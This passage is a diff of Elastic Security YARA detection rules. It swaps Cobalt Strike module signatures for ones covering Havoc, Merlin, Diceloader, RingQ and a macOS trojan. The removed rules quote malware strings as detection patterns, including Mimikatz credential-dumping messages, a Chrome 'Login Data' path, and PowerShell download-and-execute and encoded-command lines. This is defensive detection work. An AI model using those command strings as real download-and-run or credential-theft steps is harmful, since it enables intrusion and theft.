+		description = "Detects Windows Trojan Diceloader (Windows.Trojan.Diceloader)"
 		author = "Elastic Security"
-		id = "09b79efa-55d7-481d-9ee0-74ac5f787cef"
-		date = "2021-03-23"
+		id = "15eeb7b9-311f-477b-8ae1-b8f689a154b7"
+		date = "2021-04-23"
 		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L203-L232"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "75fd003b9adf03aff8479b1b10da9c94955870b5fa4f1958f870e14acb2793c7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Diceloader.yar#L27-L46"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a1202df600d11ad2c61050e7ba33701c22c2771b676f54edd1846ef418bea746"
+		logic_hash = "f1ab9ad69f9ea75343c7404b82a3f7a4976a442b980a98fe5b95c55d4f9cb34e"
 		score = 75
-		quality = 48
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "04ef6555e8668c56c528dc62184331a6562f47652c73de732e5f7c82779f2fd8"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "4cc70bec5d241c6f84010fbfe2eafbc6ec6d753df2bb3f52d9498b54b11fc8cb"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -64766,39 +68840,29 @@ rule ELASTIC_Windows_Trojan_Cobaltstrike_09B79Efa : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "invokeassembly.x64.dll" ascii fullword
-		$a2 = "invokeassembly.dll" ascii fullword
-		$b1 = "[-] Failed to get default AppDomain w/hr 0x%08lx" ascii fullword
-		$b2 = "[-] Failed to load the assembly w/hr 0x%08lx" ascii fullword
-		$b3 = "[-] Failed to create the runtime host" ascii fullword
-		$b4 = "[-] Invoke_3 on EntryPoint failed." ascii fullword
-		$b5 = "[-] CLR failed to start w/hr 0x%08lx" ascii fullword
-		$b6 = "ReflectiveLoader"
-		$b7 = ".NET runtime [ver %S] cannot be loaded" ascii fullword
-		$b8 = "[-] No .NET runtime found. :(" ascii fullword
-		$b9 = "[-] ICorRuntimeHost::GetDefaultDomain failed w/hr 0x%08lx" ascii fullword
-		$c1 = { FF 57 0C 85 C0 78 40 8B 45 F8 8D 55 F4 8B 08 52 50 }
+		$a1 = { E9 92 9D FF FF C3 E8 }
+		$a2 = { E9 E8 61 FF FF C3 E8 }
 
 	condition:
-		1 of ($a*) or 3 of ($b*) or 1 of ($c*)
+		any of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_6E77233E : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Havoc_77F3D40E : FILE MEMORY
 {
 	meta:
-		description = "Identifies Kerberos module from Cobalt Strike"
+		description = "Detects Windows Trojan Havoc (Windows.Trojan.Havoc)"
 		author = "Elastic Security"
-		id = "6e77233e-7fb4-4295-823d-f97786c5d9c4"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "77f3d40e-9365-4e76-a1a3-36d128e775a9"
+		date = "2022-10-20"
+		modified = "2022-11-24"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L234-L269"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "93aa11523b794402b257d02d4f9edc5ad320bfdb5b8b0f671ff08f399ef9e674"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Havoc.yar#L1-L35"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3427dac129b760a03f2c40590c01065c9bf2340d2dfa4a4a7cf4830a02e95879"
+		logic_hash = "3d2733ed24d90e9e851ec36a08c497e9c90b47c3dcbb8755e3f6b6a6bd3a8b54"
 		score = 75
-		quality = 63
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "cef2949eae78b1c321c2ec4010749a5ac0551d680bd5eb85493fc88c5227d285"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "95d35d167df7f77f23b1afb1b7655cc47830c9986c54791b562c33db8f2773ae"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -64806,45 +68870,44 @@ rule ELASTIC_Windows_Trojan_Cobaltstrike_6E77233E : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\kerberos.x64.o" ascii fullword
-		$a2 = "$unwind$command_kerberos_ticket_use" ascii fullword
-		$a3 = "$pdata$command_kerberos_ticket_use" ascii fullword
-		$a4 = "command_kerberos_ticket_use" ascii fullword
-		$a5 = "$pdata$command_kerberos_ticket_purge" ascii fullword
-		$a6 = "command_kerberos_ticket_purge" ascii fullword
-		$a7 = "$unwind$command_kerberos_ticket_purge" ascii fullword
-		$a8 = "$unwind$kerberos_init" ascii fullword
-		$a9 = "$unwind$KerberosTicketUse" ascii fullword
-		$a10 = "KerberosTicketUse" ascii fullword
-		$a11 = "$unwind$KerberosTicketPurge" ascii fullword
-		$b1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\kerberos.x86.o" ascii fullword
-		$b2 = "_command_kerberos_ticket_use" ascii fullword
-		$b3 = "_command_kerberos_ticket_purge" ascii fullword
-		$b4 = "_kerberos_init" ascii fullword
-		$b5 = "_KerberosTicketUse" ascii fullword
-		$b6 = "_KerberosTicketPurge" ascii fullword
-		$b7 = "_LsaCallKerberosPackage" ascii fullword
+		$core = { 48 ?? ?? 2C 06 00 00 00 ?? ?? 48 ?? ?? 5C 06 00 00 00 ?? ?? ?? ?? ?? ?? 48 8B ?? 5C 06 00 00 ?? F6 99 5A 2E E8 ?? ?? ?? ?? 48 8B ?? 48 ?? ?? 4C 02 00 00 48 8B ?? 5C 06 00 00 ?? 23 DB 07 03 E8 ?? ?? ?? ?? 48 8B ?? 48 ?? ?? 44 02 00 00 48 8B ?? 5C 06 00 00 ?? DA 81 B3 C0 E8 ?? ?? ?? ?? 48 8B ?? 48 ?? ?? 54 02 00 00 48 8B ?? 5C 06 00 00 ?? D7 71 BA 70 E8 ?? ?? ?? ?? 48 8B ?? 48 ?? ?? 64 02 00 00 48 8B ?? 5C 06 00 00 ?? 88 2B 49 8E E8 ?? ?? ?? ?? 48 8B ?? 48 ?? ?? 84 02 00 00 48 8B ?? 5C 06 00 00 ?? EF F0 A1 3A E8 ?? ?? ?? ?? }
+		$commands_table = { 0B 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 64 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 15 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 10 10 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 0C 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? [0-12] 0F 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 14 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 01 20 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 03 20 00 00 ?? ?? ?? ?? ?? ?? ?? ?? C4 09 00 00 ?? ?? ?? ?? ?? ?? ?? ?? CE 09 00 00 ?? ?? ?? ?? ?? ?? ?? ?? D8 09 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 34 08 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 16 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 18 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 1A 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 28 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 5C 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? }
+		$hashes_0 = { F6 99 5A 2E }
+		$hashes_1 = { DA 81 B3 C0 }
+		$hashes_2 = { D7 71 BA 70 }
+		$hashes_3 = { 88 2B 49 8E }
+		$hashes_4 = { EF F0 A1 3A }
+		$hashes_5 = { F5 39 34 7C }
+		$hashes_6 = { 2A 92 12 D8 }
+		$hashes_7 = { 8D F1 4F 84 }
+		$hashes_8 = { 5B BC CE 73 }
+		$hashes_9 = { 59 24 93 B8 }
+		$hashes_10 = { 02 9E D0 C2 }
+		$hashes_11 = { E5 36 26 AE }
+		$hashes_12 = { 5C 3C B4 F3 }
+		$hashes_13 = { 2F 87 D8 1C }
+		$hashes_14 = { D7 53 22 AC }
 
 	condition:
-		5 of ($a*) or 3 of ($b*)
+		$core or ($commands_table and all of ($hashes*))
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_De42495A : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Havoc_9C7Bb863 : FILE MEMORY
 {
 	meta:
-		description = "Identifies Mimikatz module from Cobalt Strike"
+		description = "Detects Windows Trojan Havoc (Windows.Trojan.Havoc)"
 		author = "Elastic Security"
-		id = "de42495a-0002-466e-98b9-19c9ebb9240e"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "9c7bb863-b6c2-4d5f-ae50-0fd900f1d4eb"
+		date = "2023-04-28"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L271-L301"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "2a13c73d221d80d25a432f9e0a1387153a78f58719066586e9d80d17613293ef"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Havoc.yar#L37-L56"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "261b92d9e8dcb9d0abf1627b791831ec89779f2b7973b1926c6ec9691288dd57"
+		logic_hash = "c1245c38c54b0a72fb335680d9ea191390e4e2fe7e47a3ed776878c5e01a3e16"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "dab3c25809ec3af70df5a8a04a2efd4e8ecb13a4c87001ea699e7a1512973b82"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "cda55a9e65badb984e71778b081929db2bdef223792b78bba32b2259757f1348"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -64852,40 +68915,29 @@ rule ELASTIC_Windows_Trojan_Cobaltstrike_De42495A : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "\\\\.\\pipe\\mimikatz" ascii fullword
-		$b1 = "ERROR kuhl_m_dpapi_chrome ; Input 'Login Data' file needed (/in:\"%%localappdata%%\\Google\\Chrome\\User Data\\Default\\Login Da" wide
-		$b2 = "ERROR kuhl_m_lsadump_getUsersAndSamKey ; kull_m_registry_RegOpenKeyEx SAM Accounts (0x%08x)" wide fullword
-		$b3 = "ERROR kuhl_m_lsadump_getUsersAndSamKey ; kuhl_m_lsadump_getSamKey KO" wide fullword
-		$b4 = "ERROR kuhl_m_lsadump_getComputerAndSyskey ; kull_m_registry_RegOpenKeyEx LSA KO" wide fullword
-		$b5 = "ERROR kuhl_m_lsadump_lsa_getHandle ; OpenProcess (0x%08x)" wide fullword
-		$b6 = "ERROR kuhl_m_lsadump_enumdomains_users ; SamLookupNamesInDomain: %08x" wide fullword
-		$b7 = "mimikatz(powershell) # %s" wide fullword
-		$b8 = "powershell_reflective_mimikatz" ascii fullword
-		$b9 = "mimikatz_dpapi_cache.ndr" wide fullword
-		$b10 = "mimikatz.log" wide fullword
-		$b11 = "ERROR mimikatz_doLocal" wide
-		$b12 = "mimikatz_x64.compressed" wide
+		$a1 = { 56 48 89 E6 48 83 E4 F0 48 83 EC 20 E8 0F 00 00 00 48 89 F4 5E C3 }
+		$a2 = { 65 48 8B 04 25 60 00 00 00 }
 
 	condition:
-		1 of ($a*) and 7 of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_72F68375 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Havoc_88053562 : FILE MEMORY
 {
 	meta:
-		description = "Identifies Netdomain module from Cobalt Strike"
+		description = "Detects Windows Trojan Havoc (Windows.Trojan.Havoc)"
 		author = "Elastic Security"
-		id = "72f68375-35ab-49cc-905d-15302389a236"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "88053562-ae19-44fe-8aaf-d6b9687d6b80"
+		date = "2024-01-04"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L303-L328"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "912e37829a9f99e00326745343c9e4593cd7cfb8d4dfafc66027cddcb4d883be"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Havoc.yar#L58-L76"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2f0b59f8220edd0d34fba92905faf0b51aead95d53be8b5f022eed7e21bdb4af"
+		logic_hash = "f79b39cc2ca4bbf6ad4b6585a9914a75797110d6fb68bcb7141c5c3d0429c412"
 		score = 75
-		quality = 63
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ecc28f414b2c347722b681589da8529c6f3af0491845453874f8fd87c2ae86d7"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "818011b7972ab71cbfe07ec2266f504ba0ec7df30136e414d15366aa68ad5b8a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -64893,35 +68945,28 @@ rule ELASTIC_Windows_Trojan_Cobaltstrike_72F68375 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\net_domain.x64.o" ascii fullword
-		$a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\net_domain.x86.o" ascii fullword
-		$b1 = "__imp_BeaconPrintf" ascii fullword
-		$b2 = "__imp_NETAPI32$NetApiBufferFree" ascii fullword
-		$b3 = "__imp_NETAPI32$DsGetDcNameA" ascii fullword
-		$c1 = "__imp__BeaconPrintf" ascii fullword
-		$c2 = "__imp__NETAPI32$NetApiBufferFree" ascii fullword
-		$c3 = "__imp__NETAPI32$DsGetDcNameA" ascii fullword
+		$a = { 48 81 EC F8 04 00 00 48 8D 7C 24 78 44 89 8C 24 58 05 00 00 48 8B AC 24 60 05 00 00 4C 8D 6C 24 78 F3 AB B9 59 00 00 00 48 C7 44 24 70 00 00 00 00 C7 44 24 78 68 00 00 00 C7 84 24 B4 00 00 00 }
 
 	condition:
-		1 of ($a*) or 2 of ($b*) or 2 of ($c*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_15F680Fb : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Havoc_Ffecc8Af : FILE MEMORY
 {
 	meta:
-		description = "Identifies Netview module from Cobalt Strike"
+		description = "Detects Windows Trojan Havoc (Windows.Trojan.Havoc)"
 		author = "Elastic Security"
-		id = "15f680fb-a04f-472d-a182-0b9bee111351"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "ffecc8af-4a64-4252-b7ca-3316d27c3942"
+		date = "2024-04-29"
+		modified = "2024-05-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L330-L360"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "0efe368ad82f5b0f6301121bfda9fd049b008ac246368bfa22bd976fa2c56b79"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Havoc.yar#L78-L107"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "495d323651c252e38814b77b9c6c913b9489e769252ac8bbaf8432f15e0efe44"
+		logic_hash = "c9da6215db1de91a6cd52dd6558dc5a60bbd69abc6fa0db8714f001cdae20ddb"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0ecb8e41c01bf97d6dea4cf6456b769c6dd2a037b37d754f38580bcf561e1d2c"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "d09b0519d518b741cec7f6e42efaa657410edd36d027f54e515be510b33fa821"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -64929,81 +68974,77 @@ rule ELASTIC_Windows_Trojan_Cobaltstrike_15F680Fb : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "netview.x64.dll" ascii fullword
-		$a2 = "netview.dll" ascii fullword
-		$a3 = "\\\\.\\pipe\\netview" ascii fullword
-		$b1 = "Sessions for \\\\%s:" ascii fullword
-		$b2 = "Account information for %s on \\\\%s:" ascii fullword
-		$b3 = "Users for \\\\%s:" ascii fullword
-		$b4 = "Shares at \\\\%s:" ascii fullword
-		$b5 = "ReflectiveLoader" ascii fullword
-		$b6 = "Password changeable" ascii fullword
-		$b7 = "User's Comment" wide fullword
-		$b8 = "List of hosts for domain '%s':" ascii fullword
-		$b9 = "Password changeable" ascii fullword
-		$b10 = "Logged on users at \\\\%s:" ascii fullword
+		$commands_table = { 0B 00 00 00 00 00 00 00 [8] 64 00 00 00 00 00 00 00 [8] 15 00 00 00 00 00 00 00 [8] 10 10 00 00 00 00 00 00 [8] 0C 00 00 00 00 00 00 00 [8] 0F 00 00 00 00 00 00 00 [8] 14 00 00 00 00 00 00 00 [8] 01 20 00 00 00 00 00 00 [8] 03 20 00 00 00 00 00 00 [8] C4 09 00 00 00 00 00 00 [8] CE 09 00 00 00 00 00 00 [8] D8 09 00 00 00 00 00 00 [8] 34 08 00 00 00 00 00 00 [8] 16 00 00 00 00 00 00 00 [8] 18 00 00 00 00 00 00 00 [8] 1A 00 00 00 00 00 00 00 [8] 28 00 00 00 00 00 00 00 [8] E2 09 00 00 00 00 00 00 [8] EC 09 00 00 00 00 00 00 [8] F6 09 00 00 00 00 00 00 [8] 00 0A 00 00 00 00 00 00 [8] 5C 00 00 00 00 00 00 00 }
+		$hash_ldrloaddll = { 43 6A 45 9E }
+		$hash_ldrgetprocedureaddress = { B6 6B CE FC }
+		$hash_ntaddbootentry = { 76 C7 FC 8C }
+		$hash_ntallocatevirtualmemory = { EC B8 83 F7 }
+		$hash_ntfreevirtualmemory = { 09 C6 02 28 }
+		$hash_ntunmapviewofsection = { CD 12 A4 6A }
+		$hash_ntwritevirtualmemory = { 92 01 17 C3 }
+		$hash_ntsetinformationvirtualmemory = { 39 C2 6A 94 }
+		$hash_ntqueryvirtualmemory = { 5D E8 C0 10 }
+		$hash_ntopenprocesstoken = { 99 CA 0D 35 }
+		$hash_ntopenthreadtoken = { D2 47 33 80 }
 
 	condition:
-		2 of ($a*) or 6 of ($b*)
+		$commands_table and 4 of ($hash_*)
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_5B4383Ec : FILE MEMORY
+rule ELASTIC_Multi_Trojan_Merlin_32643F4C : FILE MEMORY
 {
 	meta:
-		description = "Identifies Portscan module from Cobalt Strike"
+		description = "Detects Multi Trojan Merlin (Multi.Trojan.Merlin)"
 		author = "Elastic Security"
-		id = "5b4383ec-3c93-4e91-850e-d43cc3a86710"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "32643f4c-ee47-4ed2-9807-7b85d3f4e095"
+		date = "2024-03-01"
+		modified = "2024-05-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L362-L392"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "033bd831209958674f6309739d65c58d05acb9d17e53cede1cf171c6d6e84efa"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_Trojan_Merlin.yar#L1-L28"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "84b988c4656677bc021e23df2a81258212d9ceba13be204867ac1d9d706404e2"
+		logic_hash = "7de2deec0e2c7fd3ce2b42762f88bfe87cb4ffb02b697953aa1716425d6f1612"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "283d3d2924e92b31f26ec4fc6b79c51bd652fb1377b6985b003f09f8c3dba66c"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "bce277ef43c67be52b67c4495652e99d4707975c79cb30b54283db56545278ae"
 		severity = 100
-		arch_context = "x86"
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "multi"
 
 	strings:
-		$a1 = "portscan.x64.dll" ascii fullword
-		$a2 = "portscan.dll" ascii fullword
-		$a3 = "\\\\.\\pipe\\portscan" ascii fullword
-		$b1 = "(ICMP) Target '%s' is alive. [read %d bytes]" ascii fullword
-		$b2 = "(ARP) Target '%s' is alive. " ascii fullword
-		$b3 = "TARGETS!12345" ascii fullword
-		$b4 = "ReflectiveLoader" ascii fullword
-		$b5 = "%s:%d (platform: %d version: %d.%d name: %S domain: %S)" ascii fullword
-		$b6 = "Scanner module is complete" ascii fullword
-		$b7 = "pingpong" ascii fullword
-		$b8 = "PORTS!12345" ascii fullword
-		$b9 = "%s:%d (%s)" ascii fullword
-		$b10 = "PREFERENCES!12345" ascii fullword
+		$a1 = "json:\"killdate,omitempty\""
+		$a2 = "json:\"maxretry,omitempty\""
+		$a3 = "json:\"waittime,omitempty\""
+		$a4 = "json:\"payload,omitempty\""
+		$a5 = "json:\"skew,omitempty\""
+		$a6 = "json:\"command\""
+		$a7 = "json:\"pid,omitempty\""
+		$b1 = "/merlin-agent/commands"
+		$b2 = "/merlin/pkg/jobs"
+		$b3 = "github.com/Ne0nd0g/merlin"
 
 	condition:
-		2 of ($a*) or 6 of ($b*)
+		all of ($a*) or all of ($b*)
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_91E08059 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Ringq_B9715540 : FILE MEMORY
 {
 	meta:
-		description = "Identifies Post Ex module from Cobalt Strike"
+		description = "Detects Windows Hacktool Ringq (Windows.Hacktool.RingQ)"
 		author = "Elastic Security"
-		id = "91e08059-46a8-47d0-91c9-e86874951a4a"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "b9715540-77ae-4723-a29e-d4d88d626982"
+		date = "2024-06-28"
+		modified = "2024-07-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L394-L421"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "d5a8c1a0baa5e915cff29bcac33e30a7d7260f938ecaa6171d3aa88425a69266"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_RingQ.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "450e01c32618cd4e4a327147896352ed1b34dca9fb28389dba450acf95f8b735"
+		logic_hash = "80d693c43a7026d28121e035ae875689512fd46d7f06c3f469b83d6fe707f36b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d8baacb58a3db00489827275ad6a2d007c018eaecbce469356b068d8a758634b"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "f2a2d97b31cb648a6515dbf02a885a6afd434f38ed555c1e30296b7eb4550438"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -65011,116 +69052,63 @@ rule ELASTIC_Windows_Trojan_Cobaltstrike_91E08059 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "postex.x64.dll" ascii fullword
-		$a2 = "postex.dll" ascii fullword
-		$a3 = "RunAsAdminCMSTP" ascii fullword
-		$a4 = "KerberosTicketPurge" ascii fullword
-		$b1 = "GetSystem" ascii fullword
-		$b2 = "HelloWorld" ascii fullword
-		$b3 = "KerberosTicketUse" ascii fullword
-		$b4 = "SpawnAsAdmin" ascii fullword
-		$b5 = "RunAsAdmin" ascii fullword
-		$b6 = "NetDomain" ascii fullword
+		$a1 = "Loading Dir main.txt ..." ascii fullword
+		$a2 = "Loading LocalFile ..." ascii fullword
+		$a3 = "No Find main,txt and StringTable ..." ascii fullword
+		$a4 = "https://github.com/T4y1oR/RingQ"
+		$a5 = "RingQ :)" ascii fullword
+		$a6 = "1. Create.exe fscan.exe" ascii fullword
+		$a7 = "C:/Users/username/Documents/file.txt" ascii fullword
 
 	condition:
-		2 of ($a*) or 4 of ($b*)
+		2 of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_Ee756Db7 : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Generic_A829D361 : FILE MEMORY
 {
 	meta:
-		description = "Attempts to detect Cobalt Strike based on strings found in BEACON"
+		description = "Detects Macos Trojan Generic (MacOS.Trojan.Generic)"
 		author = "Elastic Security"
-		id = "ee756db7-e177-41f0-af99-c44646d334f7"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "a829d361-ac57-4615-b8e9-16089c44d7af"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L423-L491"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "8d594aa1b889e80000cfcedbfc470a1b768bdcc2a9c436cd449b495c91011918"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Generic.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5b2a1cd801ae68a890b40dbd1601cdfeb5085574637ae8658417d0975be8acb5"
+		logic_hash = "70a954e8b44b1ce46f5ce0ebcf43b46e1292f0b8cdb46aa67f980d3c9b0a6f61"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "5dba43dbc5f4d5ee295e65d66dd4e7adbdb7953232faf630b602e6d093f69584"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
-		$a2 = "%s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
-		$a3 = "ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset." ascii fullword
-		$a4 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" ascii fullword
-		$a5 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/')" ascii fullword
-		$a6 = "%s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
-		$a7 = "could not run command (w/ token) because of its length of %d bytes!" ascii fullword
-		$a8 = "%s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
-		$a9 = "%s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
-		$a10 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" ascii fullword
